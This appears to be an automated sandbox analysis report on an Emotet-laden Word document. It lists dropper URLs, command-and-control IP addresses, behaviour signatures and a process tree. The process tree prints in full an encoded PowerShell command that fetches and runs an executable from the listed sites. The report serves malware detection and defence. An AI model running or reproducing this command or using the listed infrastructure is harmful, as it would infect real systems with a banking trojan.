Analysis

  • max time kernel
    139s
  • max time network
    134s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    30/09/2020, 12:27

General

  • Target
    DOC_PO_09302020EX.doc
  • Size 132KB
  • Sample200930-2csccgyb8x
  • SHA256 25ea63c6b2b40a9e3cd16e7ff7bef353fc6d0a0d87b8a661aebc9e377439f8ef
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://datvietquan.com/wp-content/wra6K/

  • exe.dropper

    http://albasisgroup.com/wp-content/H/

  • exe.dropper

    http://www.asmaraloka.com/wp-includes/ra5d/

  • exe.dropper

    http://thanhthatbadinh.com/ol5auz/AQ/

  • exe.dropper

    http://ypddf.org/en/NR/

  • exe.dropper

    http://subramanyatemple.org/cgi-bin/0eBKO/

  • exe.dropper

    https://daisyboots.co.uk/wp-admin/u/

Extracted

Family
  • emotet

C2
  • 104.193.103.61:80

  • 104.131.123.136:443

  • 5.196.108.189:8080

  • 121.124.124.40:7080

  • 87.106.139.101:8080

  • 213.196.135.145:80

  • 50.35.17.13:80

  • 38.18.235.242:80

  • 24.43.32.186:80

  • 82.80.155.43:80

  • 103.86.49.11:8080

  • 113.61.66.94:80

  • 24.137.76.62:80

  • 187.49.206.134:80

  • 42.200.107.142:80

  • 24.179.13.119:80

  • 93.147.212.206:80

  • 108.46.29.236:80

  • 105.186.233.33:80

  • 37.139.21.175:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\DOC_PO_09302020EX.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:636
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JABEAGwAOAB6ADgAdQBvAD0AKAAoACcARAAnACsAJwAyAHIAYgAnACkAKwAnAHUAJwArACcANgBqACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBTAEUAcgBQAHIAbwBmAEkAbABFAFwAUAB1AHkAawBJADAAbABcAEQAegBLAG0ANQAzAGkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBDAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAGMAVQByAEkAdABZAFAAcgBvAFQAYABPAGMATwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAyACcAKQArACcALAAgACcAKwAoACcAdAAnACsAJwBsAHMAMQAxACwAIAAnACkAKwAoACcAdAAnACsAJwBsAHMAJwApACkAOwAkAEoAbABnAG4AdwBnAHEAIAA9ACAAKAAnAFIAMAAnACsAKAAnAGMAJwArACcAeAA4AHkAJwApACsAKAAnAHUAcQAnACsAJwB3ACcAKQApADsAJABGAHkAcwA0ADQAdwBkAD0AKAAnAEYAJwArACcAawAnACsAKAAnAGoAJwArACcAMgBrAGEAZgAnACkAKQA7ACQASwA4AGoAbQBtADMAZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ACcAKwAnADAAfQAnACsAKAAnAFAAdQAnACsAJwB5AGsAaQAwAGwAJwApACsAJwB7ACcAKwAnADAAJwArACcAfQBEACcAKwAoACcAegAnACsAJwBrAG0ANQAnACkAKwAnADMAaQB7ADAAfQAnACkAIAAgAC0ARgAgAFsAQwBIAEEAUgBdADkAMgApACsAJABKAGwAZwBuAHcAZwBxACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABFAHIAcwBqAF8AawBwAD0AKAAnAFIAJwArACgAJwA3ADEAdwB0ACcAKwAnAHIAMgAnACkAKQA7ACQAWgBkAGQAbQB3AGcANwA9AC4AKAAnAG4AJwArACcAZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAATgBlAHQALgBXAGUAYgBDAGwAaQBFAG4AdAA7ACQARABqAG4ANgBtADIAaAA9ACgAJwBoACcAKwAnAHQAJwArACcAdABwACcAKwAoACcAOgAvAC8AZAAnACsAJwBhAHQAJwApACsAKAAnAHYAJwArACcAaQBlAHQAcQAnACkAKwAoACcAdQBhACcAKwAnAG4AJwApACsAKAAnAC4AJwArACcAYwBvACcAKQArACgAJwBtAC8AJwArACcAdwAnACkAKwAoACcAcAAtAGMAJwArACcAbwBuACcAKQArACgAJwB0AGUAJwArACcAbgB0AC8AJwApACsAJwB3AHIAJwArACcAYQA2ACcAKwAnAEsAJwArACcALwAqACcAKwAnAGgAJwArACgAJwB0ACcAKwAnAHQAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAJwBhACcAKwAoACcAbABiAGEAcwBpAHMAZwByACcAKwAnAG8AJwApACsAJwB1AHAAJwArACgAJwAuACcAKwAnAGMAbwBtAC8AJwApACsAKAAnAHcAcAAtACcAKwAnAGMAbwAnACkAKwAnAG4AdAAnACsAJwBlACcAKwAnAG4AJwArACcAdAAvACcAKwAoACcASAAvACcAKwAnACoAaAB0AHQAJwArACcAcAA6ACcAKQArACgAJwAvAC8AJwArACcAdwB3ACcAKwAnAHcALgAnACkAKwAoACcAYQBzAG0AYQAnACsAJwByAGEAJwApACsAKAAnAGwAJwArACcAbwBrAGEALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3AHAAJwApACsAKAAnAC0AaQAnACsAJwBuAGMAbAAnACsAJwB1AGQAJwArACcAZQBzAC8AcgAnACkAKwAoACcAYQAnACsAJwA1AGQAJwApACsAKAAnAC8AKgAnACsAJwBoAHQAJwArACcAdABwADoALwAvACcAKQArACgAJwB0ACcAKwAnAGgAYQBuACcAKQArACcAaAB0ACcAKwAnAGgAJwArACcAYQB0ACcAKwAoACcAYgBhAGQAaQBuACcAKwAnAGgAJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwApACsAJwAvAG8AJwArACcAbAAnACsAJwA1ACcAKwAnAGEAJwArACgAJwB1AHoALwBBACcAKwAnAFEALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvAC8AeQAnACsAJwBwACcAKQArACcAZABkACcAKwAnAGYAJwArACcALgAnACsAJwBvACcAKwAoACcAcgBnACcAKwAnAC8AZQBuAC8AJwApACsAKAAnAE4AUgAnACsAJwAvACoAJwApACsAJwBoACcAKwAnAHQAdAAnACsAJwBwADoAJwArACgAJwAvAC8AcwB1AGIAcgAnACsAJwBhAG0AJwArACcAYQAnACsAJwBuAHkAJwArACcAYQB0AGUAbQBwACcAKQArACcAbAAnACsAKAAnAGUALgAnACsAJwBvACcAKQArACgAJwByAGcAJwArACcALwBjAGcAJwApACsAJwBpACcAKwAoACcALQBiAGkAJwArACcAbgAnACsAJwAvADAAZQBCAEsATwAvACcAKQArACgAJwAqACcAKwAnAGgAdAAnACsAJwB0AHAAcwA6AC8AJwApACsAJwAvACcAKwAnAGQAYQAnACsAJwBpACcAKwAoACcAcwB5AGIAbwBvAHQAJwArACcAcwAnACsAJwAuACcAKQArACgAJwBjACcAKwAnAG8ALgAnACkAKwAnAHUAawAnACsAKAAnAC8AdwAnACsAJwBwAC0AJwApACsAKAAnAGEAZABtAGkAJwArACcAbgAnACsAJwAvAHUALwAnACkAKQAuACIAcwBQAGwAYABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABDAGgAbgAyADcAbAAwAD0AKAAnAFkAJwArACgAJwA0ACcAKwAnAHgAMAB6ACcAKQArACcAOAB5ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEQAZABmAHkAZwB1ADAAIABpAG4AIAAkAEQAagBuADYAbQAyAGgAKQB7AHQAcgB5AHsAJABaAGQAZABtAHcAZwA3AC4AIgBEAG8AYAB3AGAATgBsAG8AQQBEAGYAYABpAGwARQAiACgAJABEAGQAZgB5AGcAdQAwACwAIAAkAEsAOABqAG0AbQAzAGYAKQA7ACQATQB3AHMAZAA5AG0AMgA9ACgAKAAnAEcAJwArACcAZwBlADkAJwApACsAKAAnADgAcgAnACsAJwBpACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEsAOABqAG0AbQAzAGYAKQAuACIAbABgAEUAbgBHAFQAaAAiACAALQBnAGUAIAAzADUAMQA1ADUAKQAgAHsALgAoACcASQBuAHYAJwArACcAbwAnACsAJwBrAGUALQBJAHQAZQBtACcAKQAoACQASwA4AGoAbQBtADMAZgApADsAJABVAHkAYwB5AHAAbwA2AD0AKAAnAFEAJwArACgAJwBsACcAKwAnAGgAeAAnACkAKwAoACcAcQAnACsAJwB3ADMAJwApACkAOwBiAHIAZQBhAGsAOwAkAFIAZgA4ADAAeQB0ADEAPQAoACcATAAnACsAJwByACcAKwAoACcAMQBoACcAKwAnAGEAMAByACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABXAHEAOABpAHcAbgBiAD0AKAAnAFEAdQAnACsAJwBsACcAKwAoACcAYgB1AGsAJwArACcANAAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3812
    • C:\Users\Admin\Puyki0l\Dzkm53i\R0cx8yuqw.exe
      "C:\Users\Admin\Puyki0l\Dzkm53i\R0cx8yuqw.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3704
      • C:\Windows\SysWOW64\syskey\MrmIndexer.exe
        "C:\Windows\SysWOW64\syskey\MrmIndexer.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:472

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/472-22-0x00000000020F0000-0x0000000002100000-memory.dmp

        memory/636-0-0x00007FFE3ED10000-0x00007FFE3F3D6000-memory.dmp

        memory/3704-16-0x00000000020E0000-0x00000000020F0000-memory.dmp

        memory/3812-7-0x00007FFE37650000-0x00007FFE3803C000-memory.dmp

        memory/3812-8-0x000001FAFCEA0000-0x000001FAFCEA1000-memory.dmp

        memory/3812-9-0x000001FAFD1B0000-0x000001FAFD1B1000-memory.dmp